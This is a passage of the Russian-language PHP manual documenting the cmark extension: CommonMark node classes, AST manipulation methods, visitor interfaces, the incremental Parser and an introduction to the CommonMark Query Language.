final class CommonMark\Node\Item extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


Text наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\Text extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Свойства */
public ?string $literal;
/* Конструктор */
public __construct()
public __construct(string $literal)
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Содержание

  • CommonMark\Node\Text::__construct — Конструктор класса Text

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Text

  • « CommonMark\Node\Text
  • CommonMark\Node\Text\Strong »
  • PHP Manual
  • CommonMark\Node\Text
  • Конструктор класса Text

CommonMark\Node\Text::__construct

(cmark >= 1.0.0)

CommonMark\Node\Text::__construct — Конструктор класса Text

Описание

public CommonMark\Node\Text::__construct()
public CommonMark\Node\Text::__construct(string $literal)

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

literal

User Contributed Notes

There are no user contributed notes for this page.


Strong наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\Text\Strong extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


Emphasis наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\Text\Emphasis extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


ThematicBreak наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\ThematicBreak extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


SoftBreak наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\SoftBreak extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


LineBreak наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\LineBreak extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


Code наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\Code extends CommonMark\Node\Text implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
public ?string $literal;
/* Конструктор */
public CommonMark\Node\Text::__construct()
public CommonMark\Node\Text::__construct(string $literal)
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


CodeBlock наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\CodeBlock extends CommonMark\Node\Text implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
public ?string $literal;
/* Свойства */
public ?string $fence;
/* Конструктор */
public CommonMark\Node\Text::__construct()
public CommonMark\Node\Text::__construct(string $literal)
public __construct(string $fence, string $literal)
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Содержание

  • CommonMark\Node\CodeBlock::__construct — Конструктор класса CodeBlock

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса CodeBlock

  • « CommonMark\Node\CodeBlock
  • CommonMark\Node\HTMLBlock »
  • PHP Manual
  • CommonMark\Node\CodeBlock
  • Конструктор класса CodeBlock

CommonMark\Node\CodeBlock::__construct

(cmark >= 1.0.0)

CommonMark\Node\CodeBlock::__construct — Конструктор класса CodeBlock

Описание

public CommonMark\Node\CodeBlock::__construct(string $fence, string $literal)

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

fence

literal

User Contributed Notes

There are no user contributed notes for this page.


HTMLBlock наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\HTMLBlock extends CommonMark\Node\Text implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
public ?string $literal;
/* Конструктор */
public CommonMark\Node\Text::__construct()
public CommonMark\Node\Text::__construct(string $literal)
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


HTMLInline наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\HTMLInline extends CommonMark\Node\Text implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
public ?string $literal;
/* Конструктор */
public CommonMark\Node\Text::__construct()
public CommonMark\Node\Text::__construct(string $literal)
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


Image наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\Image extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Свойства */
public ?string $url;
public ?string $title;
/* Конструктор */
public __construct()
public __construct(string $url)
public __construct(string $url, string $title)
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Содержание

  • CommonMark\Node\Image::__construct — Конструктор класса Image

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Image

  • « CommonMark\Node\Image
  • CommonMark\Node\Link »
  • PHP Manual
  • CommonMark\Node\Image
  • Конструктор класса Image

CommonMark\Node\Image::__construct

(cmark >= 1.0.0)

CommonMark\Node\Image::__construct — Конструктор класса Image

Описание

public CommonMark\Node\Image::__construct()
public CommonMark\Node\Image::__construct(string $url)
public CommonMark\Node\Image::__construct(string $url, string $title)

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

url

title

User Contributed Notes

There are no user contributed notes for this page.


Link наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\Link extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Свойства */
public ?string $url;
public ?string $title;
/* Конструктор */
public __construct()
public __construct(string $url)
public __construct(string $url, string $title)
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Содержание

  • CommonMark\Node\Link::__construct — Конструктор класса Link

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Link

  • « CommonMark\Node\Link
  • CommonMark\Node\CustomBlock »
  • PHP Manual
  • CommonMark\Node\Link
  • Конструктор класса Link

CommonMark\Node\Link::__construct

(cmark >= 1.0.0)

CommonMark\Node\Link::__construct — Конструктор класса Link

Описание

public CommonMark\Node\Link::__construct()
public CommonMark\Node\Link::__construct(string $url)
public CommonMark\Node\Link::__construct(string $url, string $title)

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

url

title

User Contributed Notes

There are no user contributed notes for this page.


CustomBlock наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\CustomBlock extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Свойства */
public ?string $onEnter;
public ?string $onLeave;
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


CustomInline наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\CustomInline extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Свойства */
public ?string $onEnter;
public ?string $onLeave;
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


Абстрактный класс CommonMark\Node

(cmark >= 1.0.0)

Введение

Представляет абстрактный узел, не предназначенный для непосредственного использования программистом.

Обзор классов

final abstract class CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Методы */
public appendChild(CommonMark\Node $child): CommonMark\Node
public prependChild(CommonMark\Node $child): CommonMark\Node
public insertAfter(CommonMark\Node $sibling): CommonMark\Node
public insertBefore(CommonMark\Node $sibling): CommonMark\Node
public replace(CommonMark\Node $target): CommonMark\Node
public unlink(): void
public accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Содержание

  • CommonMark\Node::appendChild — Манипуляции с AST (Абстрактное синтаксическое дерево)
  • CommonMark\Node::prependChild — Манипуляции с AST (Абстрактное синтаксическое дерево)
  • CommonMark\Node::insertAfter — Манипуляции с AST (Абстрактное синтаксическое дерево)
  • CommonMark\Node::insertBefore — Манипуляции с AST (Абстрактное синтаксическое дерево)
  • CommonMark\Node::replace — Манипуляции с AST (Абстрактное синтаксическое дерево)
  • CommonMark\Node::unlink — Манипуляции с AST (Абстрактное синтаксическое дерево)
  • CommonMark\Node::accept — Visitation

User Contributed Notes

There are no user contributed notes for this page.


Манипуляции с AST (Абстрактное синтаксическое дерево)

  • « CommonMark\Node
  • CommonMark\Node::prependChild »
  • PHP Manual
  • CommonMark\Node
  • Манипуляции с AST (Абстрактное синтаксическое дерево)

CommonMark\Node::appendChild

(cmark >= 1.0.0)

CommonMark\Node::appendChild — Манипуляции с AST (Абстрактное синтаксическое дерево)

Описание

public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

child

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Манипуляции с AST (Абстрактное синтаксическое дерево)

  • « CommonMark\Node::appendChild
  • CommonMark\Node::insertAfter »
  • PHP Manual
  • CommonMark\Node
  • Манипуляции с AST (Абстрактное синтаксическое дерево)

CommonMark\Node::prependChild

(cmark >= 1.0.0)

CommonMark\Node::prependChild — Манипуляции с AST (Абстрактное синтаксическое дерево)

Описание

public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

child

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Манипуляции с AST (Абстрактное синтаксическое дерево)

  • « CommonMark\Node::prependChild
  • CommonMark\Node::insertBefore »
  • PHP Manual
  • CommonMark\Node
  • Манипуляции с AST (Абстрактное синтаксическое дерево)

CommonMark\Node::insertAfter

(cmark >= 1.0.0)

CommonMark\Node::insertAfter — Манипуляции с AST (Абстрактное синтаксическое дерево)

Описание

public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

sibling

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Манипуляции с AST (Абстрактное синтаксическое дерево)

  • « CommonMark\Node::insertAfter
  • CommonMark\Node::replace »
  • PHP Manual
  • CommonMark\Node
  • Манипуляции с AST (Абстрактное синтаксическое дерево)

CommonMark\Node::insertBefore

(cmark >= 1.0.0)

CommonMark\Node::insertBefore — Манипуляции с AST (Абстрактное синтаксическое дерево)

Описание

public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

sibling

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Манипуляции с AST (Абстрактное синтаксическое дерево)

  • « CommonMark\Node::insertBefore
  • CommonMark\Node::unlink »
  • PHP Manual
  • CommonMark\Node
  • Манипуляции с AST (Абстрактное синтаксическое дерево)

CommonMark\Node::replace

(cmark >= 1.0.0)

CommonMark\Node::replace — Манипуляции с AST (Абстрактное синтаксическое дерево)

Описание

public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

target

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Манипуляции с AST (Абстрактное синтаксическое дерево)

  • « CommonMark\Node::replace
  • CommonMark\Node::accept »
  • PHP Manual
  • CommonMark\Node
  • Манипуляции с AST (Абстрактное синтаксическое дерево)

CommonMark\Node::unlink

(cmark >= 1.0.0)

CommonMark\Node::unlink — Манипуляции с AST (Абстрактное синтаксическое дерево)

Описание

public CommonMark\Node::unlink(): void

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Visitation

  • « CommonMark\Node::unlink
  • CommonMark\Interfaces\IVisitor »
  • PHP Manual
  • CommonMark\Node
  • Visitation

CommonMark\Node::accept

(cmark >= 1.0.0)

CommonMark\Node::accept — Visitation

Описание

public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void

Список параметров

visitor

Объект, реализующий CommonMark\Interfaces\IVisitor

Смотрите также

  • CommonMark\Interfaces\IVisitor::enter
  • CommonMark\Interfaces\IVisitor::leave

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс CommonMark\Interfaces\IVisitor

(cmark >= 1.0.0)

Введение

Обзор классов

final class CommonMark\Interfaces\IVisitor {
/* Константы */
const int Done;
const int Enter;
const int Leave;
/* Методы */
abstract public enter(IVisitable $visitable): int|IVisitable|null
abstract public leave(IVisitable $visitable): int|IVisitable|null
}

Содержание

  • CommonMark\Interfaces\IVisitor::enter — Посещение
  • CommonMark\Interfaces\IVisitor::leave — Посещение

User Contributed Notes

There are no user contributed notes for this page.


Посещение

  • « CommonMark\Interfaces\IVisitor
  • CommonMark\Interfaces\IVisitor::leave »
  • PHP Manual
  • CommonMark\Interfaces\IVisitor
  • Посещение

CommonMark\Interfaces\IVisitor::enter

(cmark >= 1.0.0)

CommonMark\Interfaces\IVisitor::enter — Посещение

Описание

abstract public CommonMark\Interfaces\IVisitor::enter(IVisitable $visitable): int|IVisitable|null

Список параметров

visitable

Текущий входимый CommonMark\Interfaces\IVisitable.

Возвращаемые значения

Возврат CommonMark\Interfaces\IVisitor::Done приведёт к выходу вспомогательного итератора.

Возврат CommonMark\Interfaces\IVisitor::Enter сбросит вспомогательный итератор при входе в текущий IVisitable.

Возврат CommonMark\Interfaces\IVisitor::Leave сбросит вспомогательный итератор при выходе из текущего IVisitable.

Возврат IVisitable сбросит вспомогательный итератор при входе в данный IVisitable.

Если ничего не возвращается, вспомогательный итератор продолжит работу.

Смотрите также

  • CommonMark\Interfaces\IVisitable::accept

User Contributed Notes

There are no user contributed notes for this page.


Посещение

  • « CommonMark\Interfaces\IVisitor::enter
  • CommonMark\Interfaces\IVisitable »
  • PHP Manual
  • CommonMark\Interfaces\IVisitor
  • Посещение

CommonMark\Interfaces\IVisitor::leave

(cmark >= 1.0.0)

CommonMark\Interfaces\IVisitor::leave — Посещение

Описание

abstract public CommonMark\Interfaces\IVisitor::leave(IVisitable $visitable): int|IVisitable|null

Список параметров

visitable

Текущий покидаемый CommonMark\Interfaces\IVisitable.

Возвращаемые значения

Возврат CommonMark\Interfaces\IVisitor::Done приведёт к выходу вспомогательного итератора.

Возврат CommonMark\Interfaces\IVisitor::Enter сбросит вспомогательный итератор при входе в текущий IVisitable.

Возврат CommonMark\Interfaces\IVisitor::Leave сбросит вспомогательный итератор при выходе из текущего IVisitable.

Возврат IVisitable сбросит вспомогательный итератор при выходе из данного IVisitable.

Если ничего не возвращается, вспомогательный итератор продолжит работу.

Смотрите также

  • CommonMark\Interfaces\IVisitable::accept

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс CommonMark\Interfaces\IVisitable

(cmark >= 1.0.0)

Введение

Обзор классов

final class CommonMark\Interfaces\IVisitable {
abstract public accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Содержание

  • CommonMark\Interfaces\IVisitable::accept — Visitation

User Contributed Notes

There are no user contributed notes for this page.


Visitation

  • « CommonMark\Interfaces\IVisitable
  • CommonMark\Parser »
  • PHP Manual
  • CommonMark\Interfaces\IVisitable
  • Visitation

CommonMark\Interfaces\IVisitable::accept

(cmark >= 1.0.0)

CommonMark\Interfaces\IVisitable::accept — Visitation

Описание

abstract public CommonMark\Interfaces\IVisitable::accept(CommonMark\Interfaces\IVisitor $visitor): void

Список параметров

visitor

Объект, реализующий CommonMark\Interfaces\IVisitor

Смотрите также

  • CommonMark\Interfaces\IVisitor::enter
  • CommonMark\Interfaces\IVisitor::leave

User Contributed Notes

There are no user contributed notes for this page.


Класс CommonMark\Parser

(cmark >= 1.0.0)

Введение

Предоставляет инкрементный синтаксический анализатор в качестве альтернативы простой функции API синтаксического анализа

Обзор классов

final class CommonMark\Parser {
/* Конструктор */
public __construct(int $options = ?)
/* Методы */
public parse(string $buffer): void
public finish(): CommonMark\Node
}

Содержание

  • CommonMark\Parser::__construct — Разбор
  • CommonMark\Parser::parse — Разбор
  • CommonMark\Parser::finish — Разбор

User Contributed Notes

There are no user contributed notes for this page.


Разбор

  • « CommonMark\Parser
  • CommonMark\Parser::parse »
  • PHP Manual
  • CommonMark\Parser
  • Разбор

CommonMark\Parser::__construct

(cmark >= 1.0.0)

CommonMark\Parser::__construct — Разбор

Описание

public CommonMark\Parser::__construct(int $options = ?)

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

options

Маска из:

CommonMark\Parser\Normal (int)
CommonMark\Parser\Normalize (int)
CommonMark\Parser\ValidateUTF8 (int)
CommonMark\Parser\Smart (int)

User Contributed Notes

There are no user contributed notes for this page.


Разбор

  • « CommonMark\Parser::__construct
  • CommonMark\Parser::finish »
  • PHP Manual
  • CommonMark\Parser
  • Разбор

CommonMark\Parser::parse

(cmark >= 1.0.0)

CommonMark\Parser::parse — Разбор

Описание

public CommonMark\Parser::parse(string $buffer): void

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

buffer

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Разбор

  • « CommonMark\Parser::parse
  • CommonMark\CQL »
  • PHP Manual
  • CommonMark\Parser
  • Разбор

CommonMark\Parser::finish

(cmark >= 1.0.0)

CommonMark\Parser::finish — Разбор

Описание

public CommonMark\Parser::finish(): CommonMark\Node

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс CommonMark\CQL

(cmark >= 1.1.0)

Введение

CommonMark Query Language - это DSL для описания того, как проходить через дерево узлов CommonMark, реализованное в виде синтаксического анализатора и компилятора для небольшого набора инструкций, и виртуальной машины для выполнения этих инструкций.

Пути:

В наиболее упрощённой форме запрос CQL объединяет следующие пути и /, чтобы описать, как перемещаться по дереву:

  • firstChild
  • lastChild
  • previous
  • next
  • parent
Например, /firstChild/lastChild будет перемещаться к последнему дочернему узлу первого дочернего узла.

Циклы

В CQL может быть задан цикл, например, через дочерние элементы или дочерние элементы к определённому узлу с использованием пути children или siblings. Например, /firstChild/children будет перемещаться по всем дочерним элементам первого дочернего узла.

Подзапросы

CQL можно проинструктировать, как перемещаться, используя подзапрос, такой как [/firstChild]. Например, /firstChild/children[/firstChild] перейдёт к первому дочернему узлу всех дочерних узлов первого дочернего узла.

Ограничения циклов

Во время цикла CQL может быть проинструктирован ограничивать пройденный путь до узлов определённого типа. Например, /children(BlockQuote) будет перемещаться к дочерним элементам узла, где типом является BlockQuote. Следующие типы распознаются (без учёта регистра):

  • BlockQuote
  • List
  • Item
  • CodeBlock
  • HtmlBlock
  • CustomBlock
  • Paragraph
  • Heading
  • ThematicBreak
  • Text
  • SoftBreak
